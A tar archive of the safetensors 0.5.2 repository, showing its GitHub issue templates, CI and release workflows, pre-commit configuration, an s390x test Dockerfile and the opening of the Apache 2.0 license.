pax_global_header 0000666 0000000 0000000 00000000064 14737533723 0014530 g ustar 00root root 0000000 0000000 52 comment=f05a1ec483c470202a3413772eef8eab6c3a8ba0
safetensors-0.5.2/ 0000775 0000000 0000000 00000000000 14737533723 0014070 5 ustar 00root root 0000000 0000000 safetensors-0.5.2/.dockerignore 0000664 0000000 0000000 00000000100 14737533723 0016533 0 ustar 00root root 0000000 0000000 safetensors/target
bindings/python/target
Dockerfile.s390x.test
safetensors-0.5.2/.github/ 0000775 0000000 0000000 00000000000 14737533723 0015430 5 ustar 00root root 0000000 0000000 safetensors-0.5.2/.github/ISSUE_TEMPLATE/ 0000775 0000000 0000000 00000000000 14737533723 0017613 5 ustar 00root root 0000000 0000000 safetensors-0.5.2/.github/ISSUE_TEMPLATE/bug-report.yml 0000664 0000000 0000000 00000010167 14737533723 0022431 0 ustar 00root root 0000000 0000000 name: "\U0001F41B Bug Report"
description: Submit a bug report to help us improve safetensors
body:
- type: textarea
id: system-info
attributes:
label: System Info
description: Please share your system info with us. You can run the command `transformers-cli env` and copy-paste its output below.
placeholder: safetensors version, platform, python version, ...
validations:
required: true
# - type: textarea
# id: who-can-help
# attributes:
# label: Who can help?
# description: |
# Your issue will be replied to more quickly if you can figure out the right person to tag with @
# If you know how to use git blame, that is the easiest way, otherwise, here is a rough guide of **who to tag**.
#
# All issues are read by one of the core maintainers, so if you don't know who to tag, just leave this blank and
# a core maintainer will ping the right person.
#
# Please tag fewer than 3 people.
#
# Models:
# - text models: @ArthurZucker and @younesbelkada
# - vision models: @amyeroberts
# - speech models: @sanchit-gandhi
# - graph models: @clefourrier
#
# Library:
#
# - flax: @sanchit-gandhi
# - generate: @gante
# - pipelines: @Narsil
# - tensorflow: @gante and @Rocketknight1
# - tokenizers: @ArthurZucker
# - trainer: @sgugger
#
# Integrations:
#
# - deepspeed: HF Trainer: @stas00, Accelerate: @pacman100
# - ray/raytune: @richardliaw, @amogkam
# - Big Model Inference: @sgugger @muellerzr
#
# Documentation: @sgugger, @stevhliu and @MKhalusova
#
# Model hub:
# - for issues with a model, report at https://discuss.huggingface.co/ and tag the model's creator.
#
# HF projects:
#
# - accelerate: [different repo](https://github.com/huggingface/accelerate)
# - datasets: [different repo](https://github.com/huggingface/datasets)
# - diffusers: [different repo](https://github.com/huggingface/diffusers)
# - rust tokenizers: [different repo](https://github.com/huggingface/tokenizers)
#
# Maintained examples (not research project or legacy):
#
# - Flax: @sanchit-gandhi
# - PyTorch: @sgugger
# - TensorFlow: @Rocketknight1
# Research projects are not maintained and should be taken as is.
# placeholder: "@Username ..."
- type: checkboxes
id: information-scripts-examples
attributes:
label: Information
description: 'The problem arises when using:'
options:
- label: "The official example scripts"
- label: "My own modified scripts"
- type: textarea
id: reproduction
validations:
required: true
attributes:
label: Reproduction
description: |
Please provide a code sample that reproduces the problem you ran into. It can be a Colab link or just a code snippet.
If you have code snippets, error messages, stack traces please provide them here as well.
Important! Use code tags to correctly format your code. See https://help.github.com/en/github/writing-on-github/creating-and-highlighting-code-blocks#syntax-highlighting
Do not use screenshots, as they are hard to read and (more importantly) don't allow others to copy-and-paste your code.
placeholder: |
Steps to reproduce the behavior:
1.
2.
3.
- type: textarea
id: expected-behavior
validations:
required: true
attributes:
label: Expected behavior
description: "A clear and concise description of what you would expect to happen."
safetensors-0.5.2/.github/ISSUE_TEMPLATE/config.yml 0000664 0000000 0000000 00000000050 14737533723 0021576 0 ustar 00root root 0000000 0000000 blank_issues_enabled: true
version: 2.1
safetensors-0.5.2/.github/ISSUE_TEMPLATE/feature-request.yml 0000664 0000000 0000000 00000002112 14737533723 0023453 0 ustar 00root root 0000000 0000000 name: "\U0001F680 Feature request"
description: Submit a proposal/request for a new safetensors feature
labels: [ "feature" ]
body:
- type: textarea
id: feature-request
validations:
required: true
attributes:
label: Feature request
description: |
A clear and concise description of the feature proposal. Please provide a link to the paper and code in case they exist.
- type: textarea
id: motivation
validations:
required: true
attributes:
label: Motivation
description: |
Please outline the motivation for the proposal. Is your feature request related to a problem? e.g., I'm always frustrated when [...]. If this is related to another GitHub issue, please link here too.
- type: textarea
id: contribution
validations:
required: true
attributes:
label: Your contribution
description: |
Is there any way that you could help, e.g. by submitting a PR? Make sure to read the CONTRIBUTING.MD [readme](https://github.com/huggingface/safetensors/blob/main/CONTRIBUTING.md)
safetensors-0.5.2/.github/PULL_REQUEST_TEMPLATE.md 0000664 0000000 0000000 00000001664 14737533723 0021240 0 ustar 00root root 0000000 0000000 # What does this PR do?
Fixes # (issue) or description of the problem this PR solves.
safetensors-0.5.2/.github/conda/ 0000775 0000000 0000000 00000000000 14737533723 0016514 5 ustar 00root root 0000000 0000000 safetensors-0.5.2/.github/conda/bld.bat 0000664 0000000 0000000 00000000077 14737533723 0017751 0 ustar 00root root 0000000 0000000 cd bindings\python
%PYTHON% -m pip install . --prefix=%PREFIX%
safetensors-0.5.2/.github/conda/build.sh 0000664 0000000 0000000 00000000075 14737533723 0020151 0 ustar 00root root 0000000 0000000 cd bindings/python
$PYTHON -m pip install . --prefix=$PREFIX
safetensors-0.5.2/.github/conda/meta.yaml 0000664 0000000 0000000 00000000713 14737533723 0020327 0 ustar 00root root 0000000 0000000 {% set name = "safetensors" %}
package:
name: "{{ name|lower }}"
version: "{{ SAFETENSORS_VERSION }}"
source:
path: ../../
requirements:
host:
- pip
- python x.x
- setuptools
- setuptools-rust
- maturin
run:
- python x.x
test:
imports:
- safetensors
about:
home: https://huggingface.co/docs/safetensors
license: Apache License 2.0
license_file: LICENSE
summary: "Safe and portable way of storing tensors"
safetensors-0.5.2/.github/stale.yml 0000664 0000000 0000000 00000001254 14737533723 0017265 0 ustar 00root root 0000000 0000000 # Number of days of inactivity before an issue becomes stale
daysUntilStale: 60
# Number of days of inactivity before a stale issue is closed
daysUntilClose: 7
# Issues with these labels will never be considered stale
exemptLabels:
- pinned
- security
# Label to use when marking an issue as stale
staleLabel: wontfix
# Comment to post when marking an issue as stale. Set to `false` to disable
markComment: >
This issue has been automatically marked as stale because it has not had
recent activity. It will be closed if no further activity occurs. Thank you
for your contributions.
# Comment to post when closing a stale issue. Set to `false` to disable
closeComment: false
safetensors-0.5.2/.github/workflows/ 0000775 0000000 0000000 00000000000 14737533723 0017465 5 ustar 00root root 0000000 0000000 safetensors-0.5.2/.github/workflows/build_documentation.yml 0000664 0000000 0000000 00000001172 14737533723 0024241 0 ustar 00root root 0000000 0000000 name: Build documentation
on:
push:
branches:
- main
- doc-builder*
- v*-release
- use_templates
jobs:
build:
uses: huggingface/doc-builder/.github/workflows/build_main_documentation.yml@main
with:
commit_sha: ${{ github.sha }}
package: safetensors
notebook_folder: safetensors_doc
package_path: safetensors/bindings/python/
version_tag_suffix: bindings/python/py_src/
install_rust: true
custom_container: huggingface/transformers-doc-builder
secrets:
token: ${{ secrets.HUGGINGFACE_PUSH }}
hf_token: ${{ secrets.HF_DOC_BUILD_PUSH }}
safetensors-0.5.2/.github/workflows/build_pr_documentation.yml 0000664 0000000 0000000 00000001305 14737533723 0024740 0 ustar 00root root 0000000 0000000 name: Build PR Documentation
on:
pull_request:
paths:
- "docs/**"
- "bindings/python/py_src/**"
- ".github/workflows/build_pr_documentation.yml"
concurrency:
group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}
cancel-in-progress: true
jobs:
build:
uses: huggingface/doc-builder/.github/workflows/build_pr_documentation.yml@main
with:
commit_sha: ${{ github.event.pull_request.head.sha }}
pr_number: ${{ github.event.number }}
package: safetensors
package_path: safetensors/bindings/python/
version_tag_suffix: bindings/python/py_src/
install_rust: true
custom_container: huggingface/transformers-doc-builder
safetensors-0.5.2/.github/workflows/codecov.yml 0000664 0000000 0000000 00000001544 14737533723 0021636 0 ustar 00root root 0000000 0000000 name: Code coverage
on:
push:
branches:
- main
jobs:
build:
runs-on: ubuntu-latest
defaults:
run:
working-directory: ./safetensors
steps:
- uses: actions/checkout@v3
- name: Install Rust Stable
uses: actions-rs/toolchain@v1
with:
toolchain: stable
components: llvm-tools-preview
override: true
- uses: Swatinem/rust-cache@v2
- name: Install cargo-llvm-cov for Ubuntu
run: cargo install cargo-llvm-cov
- name: Coverage report
run: cargo llvm-cov --release --lcov --output-path lcov.info
- name: Upload to codecov.io
uses: codecov/codecov-action@v3
with:
token: ${{ secrets.CODECOV_TOKEN }} # not required for public repos
working-directory: ./safetensors
fail_ci_if_error: true
safetensors-0.5.2/.github/workflows/delete_doc_comment.yml 0000664 0000000 0000000 00000000440 14737533723 0024017 0 ustar 00root root 0000000 0000000 name: Delete doc comment
on:
workflow_run:
workflows: ["Delete doc comment trigger"]
types:
- completed
jobs:
delete:
uses: huggingface/doc-builder/.github/workflows/delete_doc_comment.yml@main
secrets:
comment_bot_token: ${{ secrets.COMMENT_BOT_TOKEN }} safetensors-0.5.2/.github/workflows/delete_doc_comment_trigger.yml 0000664 0000000 0000000 00000000352 14737533723 0025544 0 ustar 00root root 0000000 0000000 name: Delete doc comment trigger
on:
pull_request:
types: [ closed ]
jobs:
delete:
uses: huggingface/doc-builder/.github/workflows/delete_doc_comment_trigger.yml@main
with:
pr_number: ${{ github.event.number }} safetensors-0.5.2/.github/workflows/python-bench.yml 0000664 0000000 0000000 00000003431 14737533723 0022607 0 ustar 00root root 0000000 0000000 name: Simple benchmarks
on:
push:
branches:
- main
permissions:
# deployments permission to deploy GitHub pages website
deployments: write
# contents permission to update benchmark contents in gh-pages branch
contents: write
jobs:
benchmark:
name: Performance regression check
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Install Rust
uses: actions-rs/toolchain@v1
with:
toolchain: stable
components: rustfmt, clippy
- name: Install Python
uses: actions/setup-python@v2
with:
python-version: "3.10"
architecture: "x64"
- name: Install
working-directory: ./bindings/python
run: |
pip install -U pip
pip install .[dev]
- name: Run tests
working-directory: ./bindings/python
run: |
cargo test
pytest --benchmark-json output.json benches/
# Download previous benchmark result from cache (if exists)
- name: Download previous benchmark data
uses: actions/cache@v1
with:
path: ./cache
key: ${{ runner.os }}-benchmark
# Run `github-action-benchmark` action
- name: Store benchmark result
uses: benchmark-action/github-action-benchmark@v1
with:
# What benchmark tool the output.txt came from
tool: 'pytest'
# Where the output from the benchmark tool is stored
output-file-path: ./bindings/python/output.json
github-token: ${{ secrets.GITHUB_TOKEN }}
# Push and deploy GitHub pages branch automatically
auto-push: true
comment-on-alert: true
# Mention @rhysd in the commit comment
alert-comment-cc-users: '@Narsil'
safetensors-0.5.2/.github/workflows/python-release-conda.yml 0000664 0000000 0000000 00000007573 14737533723 0024245 0 ustar 00root root 0000000 0000000 name: Python Release - Conda
on:
push:
tags:
- v*
env:
ANACONDA_API_TOKEN: ${{ secrets.ANACONDA_API_TOKEN }}
jobs:
build_and_package:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [windows-latest, macos-latest]
# 3.11 not available on Conda yet.
python: ["3.8", "3.9", "3.10", "3.11"]
steps:
- name: Checkout repository
uses: actions/checkout@v3
- name: Install miniconda
uses: conda-incubator/setup-miniconda@v2
with:
auto-update-conda: true
python-version: ${{ matrix.python }}
- name: Conda info
shell: bash -l {0}
run: conda info
- name: Install Rust
uses: actions-rs/toolchain@v1
with:
toolchain: stable
- name: Setup conda env
shell: bash -l {0}
run: |
conda install setuptools-rust
conda install -c defaults anaconda-client conda-build
- name: Extract version
shell: bash -l {0}
working-directory: ./bindings/python
run: echo "SAFETENSORS_VERSION=`grep -m 1 version Cargo.toml | grep -e '".*"' -o | tr -d '"' | sed s/-/./ `" >> $GITHUB_ENV
- name: Build conda packages
shell: bash -l {0}
run: |
conda info
conda list
conda-build .github/conda --python=${{ matrix.python }}
- name: Upload to Anaconda
shell: bash -l {0}
run: |
anaconda upload `conda-build .github/conda --output` --force
build_and_package_linux:
runs-on: ubuntu-latest
container: quay.io/pypa/manylinux2014_x86_64
strategy:
fail-fast: false
matrix:
python: [38, 39, 310, 311]
include:
- python: 38
checksum: e2a4438671e0e42c5bba14cb51de6ce9763938184d6ca2967340bbe972bbe7e6
- python: 39
checksum: 9829d95f639bd0053b2ed06d1204e60644617bf37dd5cc57523732e0e8d64516
- python: 310
checksum: ea5e6e8a3d5a0247b9df85382d27220fac8e59b5778fd313c5913879cd9baafc
- python: 311
checksum: 634d76df5e489c44ade4085552b97bebc786d49245ed1a830022b0b406de5817
steps:
- name: Checkout repository
uses: actions/checkout@v2
- name: Install miniconda
run: |
yum install -y wget openssl-devel
export FILENAME=Miniconda3-py${{ matrix.python }}_23.5.2-0-Linux-x86_64.sh
wget https://repo.anaconda.com/miniconda/$FILENAME
sha256sum $FILENAME | awk '$1=="${{ matrix.checksum}}"{print"good to go"}'
bash $FILENAME -b -p $HOME/miniconda
source $HOME/miniconda/bin/activate
- name: Show glibc information
shell: bash -l {0}
run: ldd --version
- name: Conda info
shell: bash -l {0}
run: |
source $HOME/miniconda/bin/activate
conda info
- name: Install Rust
uses: actions-rs/toolchain@v1
with:
toolchain: stable
- name: Setup conda env
shell: bash -l {0}
run: |
source $HOME/miniconda/bin/activate
conda install setuptools-rust
conda install -c defaults anaconda-client conda-build
- name: Extract version
shell: bash -l {0}
working-directory: ./bindings/python
run: |
source $HOME/miniconda/bin/activate
echo "SAFETENSORS_VERSION=`grep -m 1 version Cargo.toml | grep -e '".*"' -o | tr -d '"' | sed s/-/./ `" >> $GITHUB_ENV
- name: Build conda packages
shell: bash -l {0}
run: |
source $HOME/miniconda/bin/activate
conda info
conda list
conda-build .github/conda --python=${{ matrix.python }}
- name: Upload to Anaconda
shell: bash -l {0}
run: |
source $HOME/miniconda/bin/activate
anaconda upload `conda-build .github/conda --output` --force
safetensors-0.5.2/.github/workflows/python-release.yml 0000664 0000000 0000000 00000011652 14737533723 0023154 0 ustar 00root root 0000000 0000000 # This file is autogenerated by maturin v1.7.4
# To update, run
#
# maturin generate-ci github -m bindings/python/Cargo.toml
#
name: CI
on:
push:
branches:
- main
- master
tags:
- '*'
pull_request:
workflow_dispatch:
permissions:
contents: read
jobs:
linux:
runs-on: ${{ matrix.platform.runner }}
strategy:
matrix:
platform:
- runner: ubuntu-latest
target: x86_64
- runner: ubuntu-latest
target: x86
- runner: ubuntu-latest
target: aarch64
- runner: ubuntu-latest
target: armv7
- runner: ubuntu-latest
target: s390x
- runner: ubuntu-latest
target: ppc64le
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: 3.x
- name: Build wheels
uses: PyO3/maturin-action@v1
with:
target: ${{ matrix.platform.target }}
args: --release --out dist --manifest-path bindings/python/Cargo.toml
sccache: 'true'
manylinux: auto
- name: Upload wheels
uses: actions/upload-artifact@v4
with:
name: wheels-linux-${{ matrix.platform.target }}
path: dist
musllinux:
runs-on: ${{ matrix.platform.runner }}
strategy:
matrix:
platform:
- runner: ubuntu-latest
target: x86_64
- runner: ubuntu-latest
target: x86
- runner: ubuntu-latest
target: aarch64
- runner: ubuntu-latest
target: armv7
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: 3.x
- name: Build wheels
uses: PyO3/maturin-action@v1
with:
target: ${{ matrix.platform.target }}
args: --release --out dist --manifest-path bindings/python/Cargo.toml
sccache: 'true'
manylinux: musllinux_1_2
- name: Upload wheels
uses: actions/upload-artifact@v4
with:
name: wheels-musllinux-${{ matrix.platform.target }}
path: dist
windows:
runs-on: ${{ matrix.platform.runner }}
strategy:
matrix:
platform:
- runner: windows-latest
target: x64
- runner: windows-latest
target: x86
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: 3.x
architecture: ${{ matrix.platform.target }}
- name: Build wheels
uses: PyO3/maturin-action@v1
with:
target: ${{ matrix.platform.target }}
args: --release --out dist --manifest-path bindings/python/Cargo.toml
sccache: 'true'
- name: Upload wheels
uses: actions/upload-artifact@v4
with:
name: wheels-windows-${{ matrix.platform.target }}
path: dist
macos:
runs-on: ${{ matrix.platform.runner }}
strategy:
matrix:
platform:
- runner: macos-13
target: x86_64
- runner: macos-14
target: aarch64
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: 3.x
- name: Build wheels
uses: PyO3/maturin-action@v1
with:
target: ${{ matrix.platform.target }}
args: --release --out dist --manifest-path bindings/python/Cargo.toml
sccache: 'true'
- name: Upload wheels
uses: actions/upload-artifact@v4
with:
name: wheels-macos-${{ matrix.platform.target }}
path: dist
sdist:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build sdist
uses: PyO3/maturin-action@v1
with:
command: sdist
args: --out dist --manifest-path bindings/python/Cargo.toml
- name: Upload sdist
uses: actions/upload-artifact@v4
with:
name: wheels-sdist
path: dist
release:
name: Release
runs-on: ubuntu-latest
if: ${{ startsWith(github.ref, 'refs/tags/') || github.event_name == 'workflow_dispatch' }}
needs: [linux, musllinux, windows, macos, sdist]
permissions:
# Use to sign the release artifacts
id-token: write
# Used to upload release artifacts
contents: write
# Used to generate artifact attestation
attestations: write
steps:
- uses: actions/download-artifact@v4
- name: Generate artifact attestation
uses: actions/attest-build-provenance@v1
with:
subject-path: 'wheels-*/*'
- name: Publish to PyPI
if: "startsWith(github.ref, 'refs/tags/')"
uses: PyO3/maturin-action@v1
env:
MATURIN_PYPI_TOKEN: ${{ secrets.PYPI_TOKEN_DIST}}
with:
command: upload
args: --non-interactive --skip-existing wheels-*/*
safetensors-0.5.2/.github/workflows/python.yml 0000664 0000000 0000000 00000007655 14737533723 0021546 0 ustar 00root root 0000000 0000000 name: Python
on:
pull_request:
jobs:
build_and_test:
name: Check everything builds & tests
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macos-13, windows-latest]
# Lowest and highest, no version specified so that
# new releases get automatically tested against
version: [{torch: torch==1.10, python: "3.8"}, {torch: torch, python: "3.12"}]
# TODO this would include macos ARM target.
# however jax has an illegal instruction issue
# that exists only in CI (probably difference in instruction support).
# include:
# - os: macos-latest
# version:
# torch: torch
# python: "3.11"
defaults:
run:
working-directory: ./bindings/python
steps:
- name: Checkout repository
uses: actions/checkout@v3
- name: Install Rust
uses: actions-rs/toolchain@v1
with:
toolchain: stable
components: rustfmt, clippy
- name: Cargo install audit
run: cargo install cargo-audit
- uses: Swatinem/rust-cache@v2
with:
workspaces: "bindings/python"
- name: Install Python
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.version.python }}
architecture: "x64"
- name: Lint with RustFmt
run: cargo fmt -- --check
- name: Lint with Clippy
run: cargo clippy --all-targets --all-features -- -D warnings
- name: Run Audit
run: cargo audit -D warnings
- name: Install
run: |
pip install -U pip
pip install .[numpy,tensorflow]
pip install ${{ matrix.version.torch }}
- name: Install (jax, flax)
if: matrix.os != 'windows-latest'
run: |
pip install .[jax]
shell: bash
- name: Install (mlx)
if: matrix.os == 'macos-latest'
run: |
pip install .[mlx]
shell: bash
- name: Check style
run: |
pip install .[quality]
black --check --line-length 119 --target-version py35 py_src/safetensors tests
- name: Run tests
run: |
cargo test
pip install .[testing]
pytest -sv tests/
test_s390x_big_endian:
runs-on: ubuntu-latest
permissions:
contents: write
packages: write
name: Test bigendian - S390X
steps:
- uses: actions/checkout@v2
- name: Set up QEMU
uses: docker/setup-qemu-action@v2
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v2
- name: Set short sha
id: vars
run: echo "GITHUB_SHA_SHORT=$(git rev-parse --short HEAD)" >> $GITHUB_ENV
- name: Docker meta
id: meta
uses: docker/metadata-action@v4
with:
# list of Docker images to use as base name for tags
images: |
ghcr.io/huggingface/safetensors/s390x
# generate Docker tags based on the following events/attributes
tags: |
type=schedule
type=ref,event=branch
type=ref,event=pr
type=semver,pattern={{version}}
type=semver,pattern={{major}}.{{minor}}
type=semver,pattern={{major}}
type=sha
- name: Login to Registry
uses: docker/login-action@v3
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Test big endian
uses: docker/build-push-action@v4
with:
platforms: linux/s390x
file: Dockerfile.s390x.test
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
cache-from: type=registry,ref=ghcr.io/huggingface/safetensors/s390x:cache,mode=max
cache-to: type=registry,ref=ghcr.io/huggingface/safetensors/s390x:cache,mode=max
safetensors-0.5.2/.github/workflows/rust-release.yml 0000664 0000000 0000000 00000001305 14737533723 0022622 0 ustar 00root root 0000000 0000000 name: Rust Release
env:
CRATES_TOKEN: ${{ secrets.CRATES_TOKEN }}
on:
push:
tags:
- v*
jobs:
rust_publish:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v3
- name: Install Rust
uses: actions-rs/toolchain@v1
with:
toolchain: stable
- name: Cache Cargo Registry
uses: actions/cache@v1
with:
path: ~/.cargo/registry
key: ubuntu-latest-cargo-registry-${{ hashFiles('**/Cargo.toml') }}
- name: Publish package rust
if: ${{ !contains(github.ref, 'rc') }}
working-directory: ./safetensors
run: cargo publish --token ${CRATES_TOKEN}
safetensors-0.5.2/.github/workflows/rust.yml 0000664 0000000 0000000 00000003161 14737533723 0021206 0 ustar 00root root 0000000 0000000 name: Rust
on:
pull_request:
jobs:
build:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macOS-latest]
defaults:
run:
working-directory: ./safetensors
steps:
- uses: actions/checkout@v3
- name: Install Rust Stable
uses: actions-rs/toolchain@v1
with:
toolchain: stable
components: rustfmt, clippy, llvm-tools-preview
override: true
- uses: Swatinem/rust-cache@v2
- name: Install cargo-audit
run: cargo install cargo-audit
- name: Install cargo-llvm-cov for Ubuntu
if: matrix.os == 'ubuntu-latest'
run: cargo install cargo-llvm-cov
- name: Build
run: cargo build --all-targets --verbose
- name: Lint with Clippy
run: cargo clippy --all-targets -- -D warnings
- name: Run Tests
run: cargo test --verbose
- name: Run No-STD Tests
run: cargo test --no-default-features --features alloc --verbose
- name: Run Audit
# RUSTSEC-2021-0145 is criterion so only within benchmarks
run: cargo audit -D warnings --ignore RUSTSEC-2021-0145
- name: Coverage report
if: matrix.os == 'ubuntu-latest'
run: cargo llvm-cov --release --lcov --output-path lcov.info
# - name: Upload to codecov.io
# if: matrix.os == 'ubuntu-latest'
# uses: codecov/codecov-action@v3
# with:
# token: ${{ secrets.CODECOV_TOKEN }} # not required for public repos
# working-directory: ./safetensors
# fail_ci_if_error: true
safetensors-0.5.2/.github/workflows/stale.yml 0000664 0000000 0000000 00000000626 14737533723 0021324 0 ustar 00root root 0000000 0000000 name: 'Close stale issues and PRs'
on:
schedule:
- cron: '30 1 * * *'
jobs:
stale:
runs-on: ubuntu-latest
steps:
- uses: actions/stale@v8
with:
stale-issue-message: 'This issue is stale because it has been open 30 days with no activity. Remove stale label or comment or this will be closed in 5 days.'
days-before-stale: 30
days-before-close: 5
safetensors-0.5.2/.github/workflows/trufflehog.yml 0000664 0000000 0000000 00000000400 14737533723 0022347 0 ustar 00root root 0000000 0000000 on:
push:
name: Secret Leaks
jobs:
trufflehog:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Secret Scanning
uses: trufflesecurity/trufflehog@main
safetensors-0.5.2/.github/workflows/upload_pr_documentation.yml 0000664 0000000 0000000 00000000600 14737533723 0025122 0 ustar 00root root 0000000 0000000 name: Upload PR Documentation
on:
workflow_run:
workflows: ["Build PR Documentation"]
types:
- completed
jobs:
build:
uses: huggingface/doc-builder/.github/workflows/upload_pr_documentation.yml@main
with:
package_name: safetensors
secrets:
hf_token: ${{ secrets.HF_DOC_BUILD_PUSH }}
comment_bot_token: ${{ secrets.COMMENT_BOT_TOKEN }} safetensors-0.5.2/.gitignore 0000664 0000000 0000000 00000000201 14737533723 0016051 0 ustar 00root root 0000000 0000000 safetensors/target
safetensors/**/Cargo.lock
bindings/python/Cargo.lock
*.bin
*.h5
*.msgpack
*.pt
*.pdparams
*.safetensors
*.npz
safetensors-0.5.2/.pre-commit-config.yaml 0000664 0000000 0000000 00000002711 14737533723 0020352 0 ustar 00root root 0000000 0000000 repos:
- repo: https://github.com/Narsil/pre-commit-rust
rev: 0c016cee78144d06d906fccc7715d607a946ca5c
hooks:
- id: fmt
name: "Rust (fmt)"
args: ["--manifest-path", "safetensors/Cargo.toml", "--"]
- id: clippy
name: "Rust (clippy)"
args:
[
"--manifest-path",
"safetensors/Cargo.toml",
"--all-features",
"--all-targets",
"--",
"-Dwarnings",
]
- repo: https://github.com/Narsil/pre-commit-rust
rev: 0c016cee78144d06d906fccc7715d607a946ca5c
hooks:
- id: fmt
name: "Python (fmt)"
args: ["--manifest-path", "bindings/python/Cargo.toml", "--"]
- id: clippy
name: "Python (clippy)"
args:
[
"--manifest-path",
"bindings/python/Cargo.toml",
"--all-features",
"--all-targets",
"--",
"-Dwarnings",
]
- repo: https://github.com/psf/black
rev: 22.3.0
hooks:
- id: black
name: "Python (black)"
args: ["--line-length", "119", "--target-version", "py35"]
types: ["python"]
- repo: https://github.com/pycqa/flake8
rev: 3.8.3
hooks:
- id: flake8
args: ["--config", "bindings/python/setup.cfg"]
- repo: https://github.com/pre-commit/mirrors-isort
rev: v5.7.0 # Use the revision sha / tag you want to point at
hooks:
- id: isort
safetensors-0.5.2/Dockerfile.s390x.test 0000664 0000000 0000000 00000002250 14737533723 0017724 0 ustar 00root root 0000000 0000000 FROM s390x/python
RUN wget https://repo.anaconda.com/miniconda/Miniconda3-py311_23.5.2-0-Linux-s390x.sh \
&& bash Miniconda3-py311_23.5.2-0-Linux-s390x.sh -b \
&& rm -f Miniconda3-py311_23.5.2-0-Linux-s390x.sh
RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | bash -s -- -y
RUN /root/miniconda3/bin/conda install pytorch cpuonly -c pytorch -y
WORKDIR /safetensors/
RUN /root/miniconda3/bin/pip install -U pip pytest
# RUN /root/miniconda3/bin/pip install -U huggingface_hub
# RUN /root/miniconda3/bin/python -c 'from huggingface_hub import hf_hub_download; filename = hf_hub_download("roberta-base", "model.safetensors")'
COPY . .
SHELL ["/bin/bash", "-c"]
WORKDIR /safetensors/bindings/python/
RUN source /root/.cargo/env && /root/miniconda3/bin/pip install -e .
RUN /root/miniconda3/bin/pytest -sv tests/test_pt_* tests/test_simple.py
# RUN /root/miniconda3/bin/python -c 'from huggingface_hub import hf_hub_download; filename = hf_hub_download("roberta-base", "model.safetensors"); from safetensors.torch import load_file; weights = load_file(filename); assert weights["roberta.embeddings.position_embeddings.weight"][0][0].abs().item() > 1e-10'
ENTRYPOINT /bin/bash
safetensors-0.5.2/LICENSE 0000664 0000000 0000000 00000026135 14737533723 0015104 0 ustar 00root root 0000000 0000000 Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
